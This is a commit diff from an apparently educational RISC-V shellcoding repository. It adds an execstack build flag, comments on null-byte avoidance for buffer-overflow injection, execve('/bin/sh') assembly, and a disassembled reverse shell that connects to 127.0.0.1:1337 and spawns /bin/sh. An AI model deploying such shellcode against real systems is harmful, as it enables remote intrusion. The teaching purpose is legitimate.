~poptart/riscv-business

9735691e0a2f9bc472ecf7157f22e8acbbf5f4a6 — terrorbyte 2 years ago 57136be
Updated documentation, added a few fixes to make files
6 files changed, 142 insertions(+), 36 deletions(-)

M Makefile
M src/asm3.s
M src/asm4.s
M src/asm5.s
A src/asm7c.s
M src/asm8.s
M Makefile => Makefile +5 -3
@@ 29,7 29,7 @@ BIN =\
JNK =\
     shellcoding-riscv.tar.gz

all: c asm shellcode
all: c asm compressed shellcode

c:
	gcc -O0 -fpic src/simple1.c -o $(BINPATH)/simple1


@@ 51,12 51,14 @@ asm:
	ld $(BINPATH)/asm6.o -o $(BINPATH)/asm6 
	gcc -march=rv64g -c src/asm7.s -o $(BINPATH)/asm7.o
	ld $(BINPATH)/asm7.o -o $(BINPATH)/asm7 
	gcc -march=rv64g -c src/asm8.s -o $(BINPATH)/asm8.o
	ld $(BINPATH)/asm8.o -o $(BINPATH)/asm8 
	gcc -march=rv64g -z execstack -c src/asm8.s -o $(BINPATH)/asm8.o
	ld $(BINPATH)/asm8.o -z execstack -o $(BINPATH)/asm8 

compressed:
	gcc -march=rv64gc -c src/asm6c.s -o $(BINPATH)/asm6c.o
	ld $(BINPATH)/asm6c.o -o $(BINPATH)/asm6c 
	gcc -march=rv64gc -c src/asm7.s -o $(BINPATH)/asm7c.o
	ld $(BINPATH)/asm7c.o -o $(BINPATH)/asm7c 


clean:

M src/asm3.s => src/asm3.s +8 -9
@@ 7,15 7,14 @@
# itself and either statically referenced or at run time a virtual
# address is generated.
#
# It may not be immediately obvious, but the behavior of having strings
# hardcoded in object sections means that we are not able to reliably
# reuse them in a generic manner when injecting the shellcode into a
# vulnerable target. We now have the restriction of making all the
# shellcode not reference static locations, we can't use labels, can
# only use relative jumps, and are restricted from using library
# functions. Up until this point we were functionally doing that anyway
# based on the simple nature of our programs, but a real assembly
# programmer would most likely be taking more advantage of this.
# The behavior of having strings hardcoded in object sections means that we are
# not able to reliably reuse them in a generic manner when injecting the
# shellcode into a vulnerable target. We now have the restriction of making all
# the shellcode not reference static locations, we can't use labels, can only
# use relative jumps, and are restricted from using library functions. Up until
# this point we were functionally doing that anyway based on the simple nature
# of our programs, but a real assembly programmer would most likely be taking
# more advantage of this.
#
.section .text
.globl _start

M src/asm4.s => src/asm4.s +20 -19
@@ 1,10 1,11 @@
# This is the last example of simple assembly that we will write, it is
# a simple call to execve(2) to call /bin/sh. At this point we are still
# no writing any shellcode, but still familiarizing ourselves with using
# position independent code and some of the assembly pain points.
# not writing any commonly useful shellcode, but still familiarizing
# ourselves with using position independent code and some of the
# RISC-V assembly pain points.
#
# We will simply uses the same techniques as before to make a call to
# execve in order to execute a shell. This combines all that we have
# We will use the same techniques as before to make a call to
# execve(2) in order to execute a shell. This combines all that we have
# learned so far and requires the following signature be matched from
# the execve documentation:
#


@@ 12,21 13,21 @@
#
# While at first this might be intimidating, but just like with the
# write example all we need to do is set up the stack to contain the
# /bin/sh filename and use the trick of setting the other arguments to 0
# making them NULL values.
# /bin/sh filename and set the other arguments to 0 making them NULL
# values.
.section .text
.globl _start
_start:
	    #execve(*filename, *argv[], *envp[])
	    li a0,0x6e69622f	#nib/
	    addi sp,sp,-8	#set up the stack
	    sd a0,0(sp)		#store '/bin'
	    li a0,0x0068732f 	#\0hs/ 
	    sd a0,4(sp)		#store '/sh\0'
	    addi a0,sp,0	#set a0 to the top of the stack
	    li a2,0x0		#set argv[] to NULL
	    li a1,0x0		#set envp[] to NULL
	    li a7, 221 		#221 is the __NR_execve 
	    ecall
	    li a7, 93		#exit value of execve is in a0
	    ecall		#exit the program with the retval of execve
	#execve(*filename, *argv[], *envp[])
	li a0,0x6e69622f	#nib/
	addi sp,sp,-8	#set up the stack
	sd a0,0(sp)		#store '/bin'
	li a0,0x0068732f 	#\0hs/ 
	sd a0,4(sp)		#store '/sh\0'
	addi a0,sp,0	#set a0 to the top of the stack
	li a2,0x0		#set argv[] to NULL
	li a1,0x0		#set envp[] to NULL
	li a7, 221 		#221 is the __NR_execve 
	ecall
	li a7, 93		#exit value of execve is in a0
	ecall		#exit the program with the retval of execve

M src/asm5.s => src/asm5.s +45 -5
@@ 1,9 1,49 @@
# 10078:	00000513          	li	a0,0
# 1007c:	00000893          	li	a7,0
# Now the real fun begins, in order to use our shellcode examples in a
# traditional (and antiquated) input based buffer overflow we need to
# understand common restrictions for shellcode. These disallowed
# characters are often refered to as "badchars" that prevent the normal
# execution of code flow. The most common are null characters (\x00),
# new lines in web applications, and a bunch more that are dependent on
# specific use case restrictions.
#
# This example is an attempt to remove the null characters from asm1.s.
# The first steps to doing this are to examine what the output of the
# disassembly of asm1 using good old `objdump`. Below al lines ending in
# a `<` character indicate locations where null bytes exist:
#
# 10078:	00000513          	li	a0,0 	<
# 1007c:	00000893          	li	a7,0	<
# 10080:	05d88893          	addi	a7,a7,93
# 10084:	00000073          	ecall


# 10084:	00000073          	ecall		<
#
# 4 instructions and 3 contain null characters. The solution for this is
# to write our shellcode with null characters in mind, restricting
# ourselves to instructions, registers, immediate values, and opcodes 
# that will not contain the bad characters. We will do this by hand the
# first time and then slowly start building a "dictionary" and
# eventually some simplistic tooling to handle transcoding.
#
# I will be treating ecall as a special case and will temporarily ignore
# the null characters until it become relevant.
#
# The fist step is to discover which opcodes corespond to usable
# instructions without nulls. Knowing that we have to clear some
# registers, it is clear that `li` actually has a null safe opcode
# (0x13), but the argument of 0 for it's immediate value always an
# immediate field containing nulls. You could do some tricky math to
# attempt to account for this, or we could check if there are any other
# instructions that can be use with both safe opcodes and arguments.
#
# My mind goes instantly to xor since xor'ing a value with itself always
# clears it. So to check the opcode safety I wrote a terrible script
# here: `utils/trashdis.sh` This piece of code compiles and objdumps a
# single passed instruction like so:
#
# ./util/trashdis.sh 'xor a0,a0,a0'
# 00a54533 xor a0,a0,a0
# ./util/trashfmt.py 0x00a54533
# 00000000101001010100010100110011
#
# 10078:	0118c8b3          	xor	a7,a7,a7
# 1007c:	0118c533          	xor	a0,a7,a7
# 10080:	05d88893          	addi	a7,a7,93

A src/asm7c.s => src/asm7c.s +62 -0
@@ 0,0 1,62 @@

bin/asm7c:     file format elf64-littleriscv


Disassembly of section .text:

0000000000010078 <_start>:
   10078:	4509                	li	a0,2
   1007a:	4585                	li	a1,1
   1007c:	4601                	li	a2,0
   1007e:	0c600893          	li	a7,198
   10082:	00000073          	ecall
   10086:	1141                	addi	sp,sp,-16
   10088:	4289                	li	t0,2
   1008a:	e016                	sd	t0,0(sp)
   1008c:	000042b7          	lui	t0,0x4
   10090:	9052829b          	addiw	t0,t0,-1787
   10094:	00513123          	sd	t0,2(sp)
   10098:	010002b7          	lui	t0,0x1000
   1009c:	07f2829b          	addiw	t0,t0,127
   100a0:	00513223          	sd	t0,4(sp)
   100a4:	4581                	li	a1,0
   100a6:	00010593          	mv	a1,sp
   100aa:	4641                	li	a2,16
   100ac:	0cb00893          	li	a7,203
   100b0:	4281                	li	t0,0
   100b2:	00050293          	mv	t0,a0
   100b6:	00000073          	ecall
   100ba:	4501                	li	a0,0
   100bc:	00028513          	mv	a0,t0
   100c0:	4581                	li	a1,0
   100c2:	4601                	li	a2,0
   100c4:	48e1                	li	a7,24
   100c6:	00000073          	ecall
   100ca:	4501                	li	a0,0
   100cc:	00028513          	mv	a0,t0
   100d0:	4585                	li	a1,1
   100d2:	00000073          	ecall
   100d6:	4501                	li	a0,0
   100d8:	00028513          	mv	a0,t0
   100dc:	4589                	li	a1,2
   100de:	00000073          	ecall
   100e2:	69623537          	lui	a0,0x69623
   100e6:	f2f5051b          	addiw	a0,a0,-209
   100ea:	1161                	addi	sp,sp,-8
   100ec:	e02a                	sd	a0,0(sp)
   100ee:	687338b7          	lui	a7,0x68733
   100f2:	f6e8889b          	addiw	a7,a7,-146
   100f6:	01113223          	sd	a7,4(sp)
   100fa:	4881                	li	a7,0
   100fc:	01110893          	addi	a7,sp,17
   10100:	4501                	li	a0,0
   10102:	fef88513          	addi	a0,a7,-17 # 68732fef <__global_pointer$+0x687216cf>
   10106:	4601                	li	a2,0
   10108:	4581                	li	a1,0
   1010a:	4885                	li	a7,1
   1010c:	0dc88893          	addi	a7,a7,220
   10110:	00000073          	ecall
   10114:	4501                	li	a0,0
   10116:	4881                	li	a7,0
   10118:	05d88893          	addi	a7,a7,93
   1011c:	00000073          	ecall

M src/asm8.s => src/asm8.s +2 -0
@@ 1,3 1,5 @@
# And it begins. The core part 
# 
#10078:	00200513   li	a0,2 <
#1007c:	00100593   li	a1,1 <
#10080:	00000613   li	a2,0 <